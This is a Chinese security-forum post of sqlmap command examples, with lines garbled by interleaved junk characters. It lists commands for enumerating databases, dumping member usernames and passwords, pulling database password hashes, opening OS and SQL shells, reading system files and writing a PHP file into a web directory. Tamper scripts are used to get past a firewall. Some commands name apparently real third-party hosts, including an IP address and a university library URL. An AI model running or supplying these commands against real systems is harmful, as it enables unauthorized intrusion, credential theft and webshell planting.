找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2196|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
8 g1 t; W, \, }& H# f, p+ M  l- v* n: o+ f# B" D2 P, C( h2 v
update :::::>     in the folder   after  execute    following   order : svn update
) R0 m# H, a' }  E1 I% J  O# k
5 e- [0 b7 [8 q' |, {sqlmap.py -r 1.txt --current-db, [0 v& @4 @6 Q

  p) {, W4 {4 Q- X# ~5 Gv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
3 k$ `$ \) f1 a" k1 ^: D( y
& H. x8 M$ j4 p" E7 X3 P==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) / c+ P7 H) i. I% t, U$ k0 h
猜解数据库( g8 `8 @+ N$ B* E
./sqlmap.py -u "injection-url" --dbs" @0 a6 c. w* e
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"/ h9 h( x1 G4 ~9 o

! j% P8 G, e+ e; d0 {' v猜解表名) A, {6 w& x; T! G
./sqlmap.py -u "injection-url" -D database_name --tables
& E4 H' ?" }% Q' F1 Y" U& J7 W% @4 l
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"5 z' y2 Q0 G+ Y% ]! p, F# Y; e
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
4 M% U. B. p3 [* W, a6 x
$ i5 U$ r$ G: ?8 h, e. r0 esqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump, R$ o! G( `8 K, f1 _. V9 f$ ^
, s  [) n( a0 }" y
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
8 w! s! W0 l; {- m3 B7 B( C% R! \sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"& l0 L# q( J/ C' p6 n; b% B( y- T
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" - _1 @$ Y; O7 c9 U- Y
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
/ }% s" }7 H6 Q) r! L( r! e8 w; U# x# O  W8 }3 w2 @
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
7 Q) T3 Q2 D/ l0 `1 Osqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
( k( Z3 K; c4 I! }/ e6 o: k. W. d+ ^sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
( O2 x1 _2 x$ hsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"4 a" K' k, U) E9 P8 x( x) |; A
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump6 n- y4 O3 x3 O) Y& n' B) @

+ H6 S6 |" \1 j+ L  Fsqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了/ F$ T% V# X/ c5 ~6 C
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"' {# R! F, L) I5 a6 n7 a6 r

7 L9 Y, W# j6 x' Fsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst") V8 Z6 n$ H8 P( u6 U7 r
猜解列名
, X- i  b1 F1 Y4 L8 r./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
! Q/ u. o! V" j+ U. r
8 ~9 _- D+ d* e- Y: v- p7 Hsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
& D* c8 l" ]' W& @! P9 w! Dsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" # m" n$ G& ^; p7 g1 c) e2 u/ J  P; M
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
* X. J, `  V: c% _* K/ R0 m, p9 ?5 o
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py", Q- e+ @; V  G; H  s# F
&submit=Go
3 d! v) D0 P1 p& W# `! Q( u2 m$ G猜解值
' U. h( X2 h. W8 Q# S* |4 `- C./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump" y% v) Z  Y7 d0 S; D
========================================================; V- H) V- B& A8 D* I
搜索表名中包括mana字符的: [/ f8 K! ], U) m% V
/sqlmap.py -u "injection-url" -T mana --search- Z& m9 m! U) G$ ]
返回一个交互式sql shell" N# m9 D6 B$ V) m* B" o; f, d
/sqlmap.py -u "injection-url" --sql-shell8 B2 ~6 M8 d9 s) ?) x, E2 c. I
读取指定文件(需权限)
: C( ~' Q$ S" Q' T& Q& @6 p* R/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
1 ~' x! X: m2 V; V查看当前 用户 及 数据库 : v1 A4 m( ^7 |' l" t, n' g
/sqlmap.py -u "injection-url" --current-user --current-db2 f5 R) S) f8 h% e! O- H
本地文件 写入 远程目标绝对路径! Y  v' c5 E/ h. }
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径) Y% v5 S" p' k% ^
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
8 a$ W4 x, U% C, @2 q" C! Y/ h! X. \, S: M% [
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径$ r0 i# W! c" s  }, F8 t6 P7 G4 i
查看某用的权限, g  {. ~0 U6 {6 i: G
/sqlmap.py -u "injection-url" --privileges -U root7 K/ k9 E+ i" Y8 z1 h, H
查看当前用户是否为dba
+ g6 m9 M; m# F+ [, b% t. U/sqlmap.py -u "injection-url" --is-dba
4 ]# h0 r9 k" q& y/ S( B读取所有数据库用户或指定数据库用户的密码/ ]8 N: L9 t# z+ w3 C) M! p" r, R6 D
sqlmap.py -r 1.txt --users --passwords
: g- r4 ^6 h0 ?& m; z7 Wsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
( m7 L8 M- s8 T4 i: I5 G  I3 d) M. U, q4 U4 J
/sqlmap.py -u "injection-url" --passwords -U root
( }. `- t4 B6 C$ R
/ n2 m4 d- q& \% E--start&&--stop 与 --first&&--last 的区别( y' c2 y& n- K8 ~- q$ k- \; S
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)% i3 p, b: t4 z) t
4 F4 G% x) N7 U  e2 v7 Q  Z' T3 N' `" o
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)" A  F$ V$ ?0 X
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
5 \  ?+ |- a9 H! a0 x1 |/ H/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns* W. C1 D; X3 t

' b6 e+ Y  e3 b9 a( N2 ^$ s" z& i0 h执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)% Y4 {+ X4 I& o& K' h
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
+ L2 g2 U, L, z) c% a' F% V! a' V1 z% H: b# F5 |5 w. t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表